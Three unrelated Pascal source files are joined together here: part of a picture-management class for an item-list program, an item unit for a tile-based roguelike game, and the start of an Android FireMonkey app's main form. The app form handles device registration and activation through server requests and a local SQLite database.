fPictures[Value].ItemPicture and not fPictures[Value].PackagePicture then begin fCurrentSecondary := Value; UpdatePictures; end else raise Exception.Create('TILItemPictures_Base.SetCurrentSecondary: Cannot set as current secondary.'); end else raise Exception.CreateFmt('TILItemPictures_Base.SetCurrentSecondary: Index (%d) out of bounds.',[Value]); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.GetCapacity: Integer; begin Result := Length(fPictures); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.SetCapacity(Value: Integer); var i: Integer; begin If Value < fCount then begin For i := Value to Pred(fCount) do FreeEntry(fPictures[i]); fCount := Value; end; SetLength(fPictures,Value); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.GetCount: Integer; begin Result := fCount; end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.SetCount(Value: Integer); begin // do nothing end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.UpdatePictures; begin If Assigned(fOnPicturesChange) and not fInitializing and (fUpdateCounter <= 0) then fOnPicturesChange(Self); fUpdated := True end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.Initialize; begin fUpdateCounter := 0; fUpdated := False; fInitializing := False; SetLength(fPictures,0); fCount := 0; fCurrentSecondary := -1; end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.Finalize; begin Clear(True); end; //------------------------------------------------------------------------------ class procedure TILItemPictures_Base.FreeEntry(var Entry: TILItemPicturesEntry; KeepFile: Boolean = False); begin If not KeepFile then begin Entry.PictureFile := ''; Entry.PictureSize := 0; Entry.PictureWidth := -1; Entry.PictureHeight := -1; Entry.ItemPicture := False; Entry.PackagePicture := False; end; If Assigned(Entry.Thumbnail) then FreeAndNil(Entry.Thumbnail); If Assigned(Entry.ThumbnailSmall) then FreeAndNil(Entry.ThumbnailSmall); If Assigned(Entry.ThumbnailMini) then FreeAndNil(Entry.ThumbnailMini); end; //------------------------------------------------------------------------------ class procedure TILItemPictures_Base.GenerateSmallThumbnails(var Entry: TILItemPicturesEntry); begin If Assigned(Entry.Thumbnail) then begin // create small (1/2) thumb Entry.ThumbnailSmall := TBitmap.Create; Entry.ThumbnailSmall.PixelFormat := pf24Bit; Entry.ThumbnailSmall.Width := 48; Entry.ThumbnailSmall.Height := 48; IL_PicShrink(Entry.Thumbnail,Entry.ThumbnailSmall,2); // create mini (1/3) thumb Entry.ThumbnailMini := TBitmap.Create; Entry.ThumbnailMini.PixelFormat := pf24Bit; Entry.ThumbnailMini.Width := 32; Entry.ThumbnailMini.Height := 32; IL_PicShrink(Entry.Thumbnail,Entry.ThumbnailMini,3); // minimize GDI handle use Entry.Thumbnail.Dormant; Entry.ThumbnailSmall.Dormant; Entry.ThumbnailMini.Dormant; end else begin Entry.ThumbnailSmall := nil; Entry.ThumbnailMini := nil; end; end; //============================================================================== constructor TILItemPictures_Base.Create(Owner: TObject); begin inherited Create; If Owner is TILItem then begin fOwner := Owner; Initialize; end else raise Exception.CreateFmt('TILItemPictures_Base.Create: Invalid owner class (%s).',[Owner.ClassName]); end; //------------------------------------------------------------------------------ constructor TILItemPictures_Base.CreateAsCopy(Owner: TObject; Source: TILItemPictures_Base; UniqueCopy: Boolean); var i,Index: Integer; Info: TILPictureAutomationInfo; begin Create(Owner); fStaticSettings := IL_ThreadSafeCopy(Source.StaticSettings); For i := Source.LowIndex to Source.HighIndex do If UniqueCopy then begin If AutomatePictureFile(Source.StaticSettings.PicturesPath + Source[i].PictureFile,Info) then begin Index := Add(Info); If CheckIndex(Index) then begin SetThumbnail(Index,Source[i].Thumbnail,True); If Source[i].ItemPicture then SetItemPicture(Index,True); If Source[i].PackagePicture then SetPackagePicture(Index,True); end; end; end else begin Index := Add(Source[i].PictureFile); If CheckIndex(Index) then begin fPictures[Index].PictureSize := Source[i].PictureSize; fPictures[Index].PictureWidth := Source[i].PictureWidth; fPictures[Index].PictureHeight := Source[i].PictureHeight; fPictures[Index].ItemPicture := Source[i].ItemPicture; fPictures[Index].PackagePicture := Source[i].PackagePicture; SetThumbnail(Index,Source[i].Thumbnail,True); end; end; fCurrentSecondary := Source.CurrentSecondary; end; //------------------------------------------------------------------------------ destructor TILItemPictures_Base.Destroy; begin Finalize; inherited; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.LowIndex: Integer; begin Result := Low(fPictures); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.HighIndex: Integer; begin Result := Pred(fCount); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.BeginUpdate; begin If fUpdateCounter <= 0 then fUpdated := False; Inc(fUpdateCounter); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.EndUpdate; begin Dec(fUpdateCounter); If fUpdateCounter <= 0 then begin fUpdateCounter := 0; If fUpdated then UpdatePictures; fUpdated := False; end; end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.BeginInitialization; begin fInitializing := True; BeginUpdate; end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.EndInitialization; begin EndUpdate; fInitializing := False; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.IndexOf(const PictureFile: String): Integer; var i: Integer; begin Result := -1; For i := LowIndex to HighIndex do If IL_SameText(fPictures[i].PictureFile,PictureFile) then begin Result := i; Break{For i}; end; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.IndexOf(Thumbnail: TBitmap): Integer; var i: Integer; begin Result := -1; For i := LowIndex to HighIndex do If fPictures[i].Thumbnail = Thumbnail then begin Result := i; Break{For i}; end; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.IndexOfItemPicture: Integer; var i: Integer; begin Result := -1; For i := LowIndex to HighIndex do If fPictures[i].ItemPicture then begin Result := i; Break{For i}; end; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.IndexOfPackagePicture: Integer; var i: Integer; begin Result := -1; For i := LowIndex to HighIndex do If fPictures[i].PackagePicture then begin Result := i; Break{For i}; end; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.Add(AutomationInfo: TILPictureAutomationInfo): Integer; begin Grow; Result := fCount; FreeEntry(fPictures[Result]); fPictures[Result].PictureFile := AutomationInfo.FileName; fPictures[Result].PictureSize := AutomationInfo.Size; fPictures[Result].PictureWidth := AutomationInfo.Width; fPictures[Result].PictureHeight := AutomationInfo.Height; If not CheckIndex(fCurrentSecondary) then fCurrentSecondary := Result; Inc(fCount); UpdatePictures; end; // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Function TILItemPictures_Base.Add(const PictureFile: String): Integer; var Temp: TILPictureAutomationInfo; begin Temp.FileName := PictureFile; Temp.CRC32 := 0; Temp.Size := 0; Temp.Width := -1; Temp.Height := -1; Result := Add(Temp); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.Exchange(Idx1,Idx2: Integer); var Temp: TILItemPicturesEntry; begin If Idx1 <> Idx2 then begin // sanity checks If not CheckIndex(Idx1) then raise Exception.CreateFmt('TILItemPictures_Base.Exchange: Index #1 (%d) out of bounds.',[Idx1]); If not CheckIndex(Idx2) then raise Exception.CreateFmt('TILItemPictures_Base.Exchange: Index #2 (%d) out of bounds.',[Idx2]); If fCurrentSecondary = Idx1 then fCurrentSecondary := Idx2 else If fCurrentSecondary = Idx2 then fCurrentSecondary := Idx1; Temp := fPictures[Idx1]; fPictures[Idx1] := fPictures[Idx2]; fPictures[Idx2] := Temp; UpdatePictures; end; end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.Delete(Index: Integer); var i: Integer; begin If CheckIndex(Index) then begin If Index = fCurrentSecondary then begin NextSecondary; If fCurrentSecondary = Index then fCurrentSecondary := -1; end; If fCurrentSecondary > Index then Dec(fCurrentSecondary); FreeEntry(fPictures[Index]); For i := Index to Pred(HighIndex) do fPictures[i] := fPictures[i + 1]; // clear item that was moved down fPictures[HighIndex].PictureFile := ''; FillChar(fPictures[HighIndex],SizeOf(TILItemPicturesEntry),0); Shrink; Dec(fCount); UpdatePictures; end else raise Exception.CreateFmt('TILItemPictures_Base.Delete: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.Clear(Destroying: Boolean = False); var i: Integer; begin For i := LowIndex to HighIndex do FreeEntry(fPictures[i]); SetLength(fPictures,0); fCount := 0; fCurrentSecondary := -1; If not Destroying then UpdatePictures; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.AutomatePictureFile(const FileName: String; out AutomationInfo: TILPictureAutomationInfo): Boolean; var Temp: TGUID; begin If IL_FileExists(FileName) then begin FillChar(AutomationInfo,SizeOf(TILPictureAutomationInfo),0); Temp := TILItem(fOwner).UniqueID; // cannot directly pass a property AutomationInfo.CRC32 := FileCRC32(FileName) xor BufferCRC32(Temp,SizeOf(TGUID)); // get size with TWinFileInfo.Create(FileName,WFI_LS_LoadSize) do try AutomationInfo.Size := Size; finally Free; end; // try loading resolution (only for JPEG pics) try with TJPEGImage.Create do try LoadFromFile(StrToRTL(FileName)); AutomationInfo.Width := Width; AutomationInfo.Height := Height; finally Free; end; except AutomationInfo.Width := -1; AutomationInfo.Height := -1; // swallow exception end; AutomationInfo.FileName := IL_Format('%s_%s%s',[ TILItem(Owner).Descriptor, IL_UpperCase(CRC32ToStr(AutomationInfo.CRC32)), IL_LowerCase(IL_ExtractFileExt(FileName))]); AutomationInfo.FilePath := fStaticSettings.PicturesPath + AutomationInfo.FileName; If not CheckIndex(IndexOf(AutomationInfo.FileName)) then begin // now copy the file into automation folder IL_CreateDirectoryPathForFile(AutomationInfo.FilePath); If not IL_SameText(FileName,AutomationInfo.FilePath) then IL_CopyFile(FileName,AutomationInfo.FilePath); // all is well... Result := True; end else Result := False; end else Result := False; end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.RealodPictureInfo(Index: Integer); begin If CheckIndex(Index) then begin try // get size with TWinFileInfo.Create(fStaticSettings.PicturesPath + fPictures[Index].PictureFile,WFI_LS_LoadSize) do try fPictures[Index].PictureSize := Size; finally Free; end; // try load resolution with TJPEGImage.Create do try LoadFromFile(StrToRTL(fStaticSettings.PicturesPath + fPictures[Index].PictureFile)); fPictures[Index].PictureWidth := Width; fPictures[Index].PictureHeight := Height; finally Free; end; except fPictures[Index].PictureSize := 0; fPictures[Index].PictureWidth := -1; fPictures[Index].PictureHeight := -1; end; end else raise Exception.CreateFmt('TILItemPictures_Base.RealodPictureInfo: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.OpenThumbnailFile(Index: Integer; ThumbnailSize: TILThumbnailSize); var TempFileName: String; SelectedBitmap: TBitmap; begin If CheckIndex(Index) then begin TempFileName := IL_ChangeFileExt(fStaticSettings.TempPath + fPictures[Index].PictureFile,'.bmp'); case ThumbnailSize of iltsFull: SelectedBitmap := fPictures[Index].Thumbnail; iltsSmall: SelectedBitmap := fPictures[Index].ThumbnailSmall; iltsMini: SelectedBitmap := fPictures[Index].ThumbnailMini; else {iltsOriginal} SelectedBitmap := fPictures[Index].Thumbnail; end; If Assigned(SelectedBitmap) then begin SelectedBitmap.SaveToFile(TempFileName); IL_ShellOpen(0,TempFileName); end; end else raise Exception.CreateFmt('TILItemPictures_Base.OpenThumbnailFile: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.OpenPictureFile(Index: Integer); begin If CheckIndex(Index) then IL_ShellOpen(0,fStaticSettings.PicturesPath + fPictures[Index].PictureFile) else raise Exception.CreateFmt('TILItemPictures_Base.OpenPictureFile: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.SetThumbnail(Index: Integer; Thumbnail: TBitmap; CreateCopy: Boolean); begin If CheckIndex(Index) then begin FreeEntry(fPictures[Index],True); If Assigned(Thumbnail) then begin If CreateCopy then begin fPictures[Index].Thumbnail := TBitmap.Create; fPictures[Index].Thumbnail.Assign(Thumbnail); end else fPictures[Index].Thumbnail := Thumbnail; GenerateSmallThumbnails(fPictures[Index]); end; UpdatePictures; end else raise Exception.CreateFmt('TILItemPictures_Base.SetThumbnail: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.SetItemPicture(Index: Integer; Value: Boolean); var i: Integer; begin If CheckIndex(Index) then begin For i := LowIndex to HighIndex do fPictures[i].ItemPicture := (i = Index) and Value; If ((fPictures[Index].ItemPicture or fPictures[Index].PackagePicture) and (fCurrentSecondary = Index)) or not CheckIndex(fCurrentSecondary) then NextSecondary; UpdatePictures; end else raise Exception.CreateFmt('TILItemPictures_Base.SetItemPicture: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.SetPackagePicture(Index: Integer; Value: Boolean); var i: Integer; begin If CheckIndex(Index) then begin For i := LowIndex to HighIndex do fPictures[i].PackagePicture := (i = Index) and Value; If ((fPictures[Index].ItemPicture or fPictures[Index].PackagePicture) and (fCurrentSecondary = Index)) or not CheckIndex(fCurrentSecondary) then NextSecondary; UpdatePictures; end else raise Exception.CreateFmt('TILItemPictures_Base.SetPackagePicture: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.SecondaryCount(WithThumbnailOnly: Boolean): Integer; var i: Integer; begin Result := 0; For i := LowIndex to HighIndex do If (not fPictures[i].ItemPicture and not fPictures[i].PackagePicture) and (Assigned(fPictures[i].Thumbnail) or not WithThumbnailOnly) then Inc(Result); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.SecondaryIndex(Index: Integer): Integer; var i: Integer; begin Result := -1; If CheckIndex(Index) then For i := LowIndex to Index do If not fPictures[i].ItemPicture and not fPictures[i].PackagePicture then Inc(Result); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.PrevSecondary: Integer; var i: Integer; begin If SecondaryCount(False) > 0 then begin i := fCurrentSecondary; repeat i := IL_IndexWrap(i - 1,LowIndex,HighIndex); until not fPictures[i].ItemPicture and not fPictures[i].PackagePicture; fCurrentSecondary := i; end else fCurrentSecondary := -1; Result := fCurrentSecondary; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.NextSecondary: Integer; var i: Integer; begin If SecondaryCount(False) > 0 then begin i := fCurrentSecondary; repeat i := IL_IndexWrap(i + 1,LowIndex,HighIndex); until not fPictures[i].ItemPicture and not fPictures[i].PackagePicture; fCurrentSecondary := i; end else fCurrentSecondary := -1; Result := fCurrentSecondary; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.ImportPictures(Source: TILItemPictures_Base): Integer; var i: Integer; Info: TILPictureAutomationInfo; Index: Integer; begin Result := 0; BeginUpdate; try For i := Source.LowIndex to Source.HighIndex do If AutomatePictureFile(Source.StaticSettings.PicturesPath + Source[i].PictureFile,Info) then begin Index := Add(Info); If CheckIndex(Index) then begin SetThumbnail(Index,Source[i].Thumbnail,True); Inc(Result); end; end; finally EndUpdate; end; end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.ExportPicture(Index: Integer; const IntoDirectory: String): Boolean; begin Result := False; If CheckIndex(Index) then begin If IL_FileExists(fStaticSettings.PicturesPath + fPictures[Index].PictureFile) then begin IL_CopyFile(fStaticSettings.PicturesPath + fPictures[Index].PictureFile, IL_IncludeTrailingPathDelimiter(IntoDirectory) + fPictures[Index].PictureFile); Result := True; end; end else raise Exception.CreateFmt('TILItemPictures_Base.ExportPicture: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.ExportThumbnail(Index: Integer; const IntoDirectory: String): Boolean; begin Result := False; If CheckIndex(Index) then begin If Assigned(fPictures[Index].Thumbnail) then begin fPictures[Index].Thumbnail.SaveToFile( StrToRTL(IL_ChangeFileExt(IL_IncludeTrailingPathDelimiter(IntoDirectory) + fPictures[Index].PictureFile,'.bmp'))); Result := True; end; end else raise Exception.CreateFmt('TILItemPictures_Base.ExportThumbnail: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.AssignInternalEvents(OnPicturesChange: TNotifyEvent); begin fOnPicturesChange := OnPicturesChange; end; end.
(* Items and objects in the game world *) unit items; {$mode objfpc}{$H+} interface uses Graphics, globalutils, map, (* Import the items *) ale_tankard, dagger, leather_armour1, cloth_armour1, basic_club, wine_flask; type (* Item types = drink, weapon, armour, missile *) (* Store information about items *) Item = record (* Unique ID *) itemID: smallint; (* Item name & description *) itemName, itemDescription: shortstring; (* drink, weapon, armour, missile *) itemType: shortstring; (* Used for lookup table *) useID: smallint; (* Position on game map *) posX, posY: smallint; (* Character used to represent item on game map *) glyph: char; (* Is the item in the players FoV *) inView: boolean; (* Is the item on the map *) onMap: boolean; (* Displays a message the first time item is seen *) discovered: boolean; end; var itemList: array of Item; itemAmount, listLength: smallint; aleTankard, crudeDagger, leatherArmour1, clothArmour, woodenClub, wineFlask: TBitmap; (* Load item textures *) procedure setupItems; (* Generate list of items on the map *) procedure initialiseItems; (* Draw item on screen *) procedure drawItem(c, r: smallint; glyph: char); (* Is there an item at coordinates *) function containsItem(x, y: smallint): boolean; (* Get name of item at coordinates *) function getItemName(x, y: smallint): shortstring; (* Get description of item at coordinates *) function getItemDescription(x, y: smallint): shortstring; (* Redraw all items *) procedure redrawItems; (* Execute useItem procedure *) procedure lookupUse(x: smallint; equipped: boolean); implementation procedure setupItems; begin aleTankard := TBitmap.Create; aleTankard.LoadFromResourceName(HINSTANCE, 'ALE1'); wineFlask := TBitmap.Create; wineFlask.LoadFromResourceName(HINSTANCE, 'ALE2'); crudeDagger := TBitmap.Create; crudeDagger.LoadFromResourceName(HINSTANCE, 'DAGGER'); leatherArmour1 := TBitmap.Create; leatherArmour1.LoadFromResourceName(HINSTANCE, 'LEATHER_ARMOUR1'); woodenClub := TBitmap.Create; woodenClub.LoadFromResourceName(HINSTANCE, 'BASIC_CLUB'); clothArmour := TBitmap.Create; clothArmour.LoadFromResourceName(HINSTANCE, 'CLOTH_ARMOUR1'); end; procedure initialiseItems; begin itemAmount := 0; // initialise array SetLength(itemList, 0); end; procedure drawItem(c, r: smallint; glyph: char); begin { TODO : When more items are created, swap this out for a CASE statement } if (glyph = '!') then drawToBuffer(mapToScreen(c), mapToScreen(r), aleTankard) else if (glyph = '2') then drawToBuffer(mapToScreen(c), mapToScreen(r), crudeDagger) else if (glyph = '3') then drawToBuffer(mapToScreen(c), mapToScreen(r), leatherArmour1) else if (glyph = '4') then drawToBuffer(mapToScreen(c), mapToScreen(r), woodenClub) else if (glyph = '5') then drawToBuffer(mapToScreen(c), mapToScreen(r), clothArmour) else if (glyph = '6') then drawToBuffer(mapToScreen(c), mapToScreen(r), wineFlask); end; function containsItem(x, y: smallint): boolean; var i: smallint; begin Result := False; for i := 1 to itemAmount do begin if (itemList[i].posX = x) and (itemList[i].posY = y) then Result := True; end; end; function getItemName(x, y: smallint): shortstring; var i: smallint; begin for i := 1 to itemAmount do begin if (itemList[i].posX = x) and (itemList[i].posY = y) then Result := itemList[i].itemName; end; end; function getItemDescription(x, y: smallint): shortstring; var i: smallint; begin for i := 1 to itemAmount do begin if (itemList[i].posX = x) and (itemList[i].posY = y) then Result := itemList[i].itemDescription; end; end; procedure redrawItems; var i: smallint; begin for i := 1 to itemAmount do begin if (itemList[i].inView = True) and (itemList[i].onMap = True) then begin drawItem(itemList[i].posX, itemList[i].posY, itemList[i].glyph); end; end; end; procedure lookupUse(x: smallint; equipped: boolean); begin case x of 1: ale_tankard.useItem; 2: dagger.useItem(equipped); 3: leather_armour1.useItem(equipped); 4: basic_club.useItem(equipped); 5: cloth_armour1.useItem(equipped); 6: wine_flask.useItem; end; end; end.
unit Scr_Main; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, System.IOUtils, System.Messaging, FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def, FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.Phys.SQLite, FireDAC.Phys.SQLiteDef, FireDAC.Stan.ExprFuncs, FireDAC.FMXUI.Wait, Data.DB, FireDAC.Comp.Client, FireDAC.Stan.Param, FireDAC.DatS, FireDAC.DApt.Intf, FireDAC.DApt, FireDAC.Comp.DataSet, FMX.DialogService, FMX.Platform, FMX.Objects, FMX.ScrollBox, FMX.Memo, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Controls.Presentation, FMX.StdCtrls, FMX.TMSCustomButton, FMX.TMSBarButton, FMX.Layouts, FMX.Helpers.Android, FMX.PhoneDialer, {$IFDEF ANDROID} Androidapi.JNIBridge, Androidapi.JNI.JavaTypes, Androidapi.JNI.GraphicsContentViewText, Androidapi.Jni.Widget, Androidapi.JNI, Androidapi.Helpers, Androidapi.JNI.Telephony, Androidapi.JNI.Provider, Androidapi.JNI.Os, System.permissions, Web.HTTPApp, System.Net.URLClient, System.Net.HttpClient, System.Net.HttpClientComponent, FMX.Effects; {$ENDIF} type TfScr_Main = class(TForm) oBtn_Salir: TTMSFMXBarButton; oBtn_Setting: TTMSFMXBarButton; oBtn_Send_Data: TTMSFMXBarButton; oConn: TFDConnection; FDPhysSQLiteDriverLink1: TFDPhysSQLiteDriverLink; oCmnd: TFDCommand; oQry_Gen: TFDQuery; ShadowEffect1: TShadowEffect; MaterialOxfordBlueSB: TStyleBook; procedure oBtn_SalirClick(Sender: TObject); procedure FormCreate(Sender: TObject); function Init_Database_Sqlite: boolean; //{$IFDEF ANDROID} procedure Toast(const Msg: string; Duration: Integer); procedure FormKeyUp(Sender: TObject; var Key: Word; var KeyChar: Char; Shift: TShiftState); procedure oBtn_Send_DataClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure OnCloseDialog(Sender: TObject; const AResult: TModalResult); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); //{$ENDIF} private { Private declarations } PhoneDialerService: IFMXPhoneDialerService; procedure do_activa(ModalResult: TModalResult); function Valida_Activacion_Vigente(): Boolean; public oNumbers: TArray<string>; { Public declarations } constructor Create(AOwner: TComponent); override; end; var fScr_Main: TfScr_Main; implementation uses Pub_Unit, Scr_Registro, Scr_Activa; {$R *.fmx} {$R *.LgXhdpiPh.fmx ANDROID} {$R *.LgXhdpiTb.fmx ANDROID} constructor TfScr_Main.Create(AOwner: TComponent); begin inherited Create(AOwner); TPlatformServices.Current.SupportsPlatformService(IFMXPhoneDialerService, IInterface(PhoneDialerService)); end; procedure TfScr_Main.OnCloseDialog(Sender: TObject; const AResult: TModalResult); begin if AResult = mrOK then Close; end; procedure TfScr_Main.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin CanClose := False; MessageDlg('Seguro que desea salir de la aplicasión?', TMsgDlgType.mtConfirmation, [TMsgDlgBtn.mbYes, TMsgDlgBtn.mbNo], 0, procedure(const AResult: TModalResult) begin if AResult = mrYes then Application.Terminate; end); end; procedure TfScr_Main.FormCreate(Sender: TObject); begin Pub_Unit.cpACCESS_NETWORK_STATE := JStringToString(TJManifest_permission.JavaClass.ACCESS_NETWORK_STATE); Pub_Unit.cpREAD_PHONE_STATE := JStringToString(TJManifest_permission.JavaClass.READ_PHONE_STATE); Pub_Unit.cpACCESS_WIFI_STATE := JStringToString(TJManifest_permission.JavaClass.ACCESS_WIFI_STATE); Pub_Unit.cpCAMERA := JStringToString(TJManifest_permission.JavaClass.CAMERA); Pub_Unit.cpINTERNET := JStringToString(TJManifest_permission.JavaClass.INTERNET); Pub_Unit.cpREAD_EXTERNAL_STORAGE := JStringToString(TJManifest_permission.JavaClass.READ_EXTERNAL_STORAGE); Pub_Unit.cpWRITE_EXTERNAL_STORAGE := JStringToString(TJManifest_permission.JavaClass.WRITE_EXTERNAL_STORAGE); Pub_Unit.cPACKAGE_NAME := JStringToString(TAndroidHelper.Activity.getApplicationContext().getPackageName()); CallInUIThreadAndWaitFinishing( procedure begin // work without but should be uncoment this 2 lines https://developer.android.com/reference/android/view/Window#setStatusBarColor(int)You shuld uncoment this 2 lines // TAndroidHelper.Activity.getWindow.addFlags(TJWindowManager_LayoutParams.JavaClass.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); // TAndroidHelper.Activity.getWindow.clearFlags(TJWindowManager_LayoutParams.JavaClass.FLAG_TRANSLUCENT_STATUS); // TAndroidHelper.Activity.getWindow.setStatusBarColor(TAlphaColorRec.Chartreuse); end); //self.SystemStatusBar.BackgroundColor := $FF111111; //self.SystemStatusBar.Visibility := TFormSystemStatusBar.TVisibilityMode.Visible; end; procedure TfScr_Main.FormKeyUp(Sender: TObject; var Key: Word; var KeyChar: Char; Shift: TShiftState); begin if Key = vkHardwareBack then begin Key := 0; // Set Key = 0 if you want to prevent the default action FMX.Dialogs.MessageDlg('Salir de la Applicación?', TMsgDlgType.mtConfirmation, [TMsgDlgBtn.mbOK, TMsgDlgBtn.mbCancel], -1, self.OnCloseDialog); end; end; procedure TfScr_Main.FormShow(Sender: TObject); var bGetCode: boolean; bRegistrar_App: boolean; cSql_Cmd: string; begin self.oBtn_Setting.Visible := false; self.oBtn_Send_Data.Visible := false; self.oBtn_Salir.Visible := false; bGetCode := False; bRegistrar_App := False; self.Init_Database_Sqlite(); if (Pub_Unit.Instaled_Database() = false) then begin Pub_Unit.Execute_SQL_Command(Pub_Unit.cSqlCreateDisp); Pub_Unit.check_tables_device(false); bRegistrar_App := true; end else begin if (Pub_Unit.check_device_data() <= 0) then bRegistrar_App := true else begin if (self.Valida_Activacion_Vigente() = False) then bGetCode := true else bGetCode := false; end; end; if (bRegistrar_App = true) then begin //Pub_Unit.Execute_SQL_Command(cSqlCreateDisp); Application.CreateForm(TfScr_Registro, fScr_Registro); fScr_Registro.oMasterForm := fScr_Main; fScr_Registro.ShowModal( procedure(ModalResult: TModalResult) var bActivar_App: boolean; oPar1: Tstringlist; cSql_Result1: string; begin bActivar_App := false; if (ModalResult = mrOK) then begin oPar1 := tstringlist.Create; oPar1.Clear; oPar1.Add('dbname=devices_inv'); oPar1.Add('device=' + Pub_Unit.cId_Device); oPar1.Add('logsql=0'); Pub_Unit.Http_Post('/nat_counter/get_device_data.php', oPar1, cSql_Result1); if (Trim(cSql_Result1) <> '') then begin cSql_Result1 := Pub_Unit.StripUnwantedText(cSql_Result1); Pub_Unit.Execute_SQL_Command(cSql_Result1); Application.CreateForm(TfScr_Activa, fScr_Activa); fScr_Activa.oMasterForm := nil; fScr_Activa.ShowModal( procedure(ModalResult: TModalResult) begin do_activa(ModalResult); end); freeandnil(fScr_Activa); end else begin TDialogService.PreferredMode := TDialogService.TPreferredMode.platform; TDialogService.MessageDialog('Error al recibir la informacion del servidor:[' + cSql_Result1 + ']', TMsgDlgType.mtError, [TMsgDlgBtn.mbOK], TMsgDlgBtn.mbOK, 0, procedure(const AResult: TModalResult) begin case AResult of mrOk: Application.Terminate(); end; end); end; end else begin Application.Terminate(); end; end); freeandnil(fScr_Registro); end else begin if (bGetCode = true) then begin Application.CreateForm(TfScr_Activa, fScr_Activa); fScr_Activa.oMasterForm := SELF; fScr_Activa.ShowModal( procedure(ModalResult: TModalResult) begin do_activa(ModalResult); end); freeandnil(fScr_Activa); end else begin self.Visible := True; self.oBtn_Setting.Visible := true; self.oBtn_Send_Data.Visible := true; self.oBtn_Salir.Visible := true; end; end; end; procedure TfScr_Main.do_activa(ModalResult: TModalResult); var oPar2: Tstringlist; cSql_Result2: string; begin if (ModalResult = mrOk) then begin oPar2 := tstringlist.Create; oPar2.Clear; oPar2.Add('dbname=devices_inv'); oPar2.Add('device=' + Pub_Unit.cId_Device); oPar2.Add('logsql=0'); Pub_Unit.Http_Post('/nat_counter/upd_device_data.php', oPar2, cSql_Result2); oPar2.Free; if (Trim(cSql_Result2) <> '') then begin cSql_Result2 := Pub_Unit.StripUnwantedText(cSql_Result2); Pub_Unit.Execute_SQL_Command(cSql_Result2); Application.Terminate(); end else begin TDialogService.PreferredMode := TDialogService.TPreferredMode.platform; TDialogService.MessageDialog('Error al recibir la informacion del servidor:[' + cSql_Result2 + ']', TMsgDlgType.mtError, [TMsgDlgBtn.mbOK], TMsgDlgBtn.mbOK, 0, procedure(const AResult: TModalResult) begin case AResult of mrOk: Application.Terminate(); end; end); end; Application.Terminate(); end; end; procedure TfScr_Main.oBtn_SalirClick(Sender: TObject); begin close; end; procedure TfScr_Main.oBtn_Send_DataClick(Sender: TObject); var ctr: string; oArray: TArray<string>; begin PermissionsService.RequestPermissions([Pub_Unit.cpACCESS_NETWORK_STATE], procedure(const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>) begin if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then //ShowMessage('Permission CONCEDIDO: ' + Pub_Unit.cpACCESS_NETWORK_STATE) else ShowMessage('Permission Denied: ' + Pub_Unit.cpACCESS_NETWORK_STATE); end); PermissionsService.RequestPermissions([Pub_Unit.cpREAD_PHONE_STATE], procedure(const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>) begin if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then //ShowMessage('Permission CONCEDIDO: ' + Pub_Unit.cpREAD_PHONE_STATE) else ShowMessage('Permission Denied ' + Pub_Unit.cpREAD_PHONE_STATE); end); PermissionsService.RequestPermissions([Pub_Unit.cpACCESS_WIFI_STATE], procedure(const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>) begin if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then //ShowMessage('Permission CONCEDIDO :' + Pub_Unit.cpACCESS_WIFI_STATE) else ShowMessage('Permission Denied :' + Pub_Unit.cpACCESS_WIFI_STATE); end); 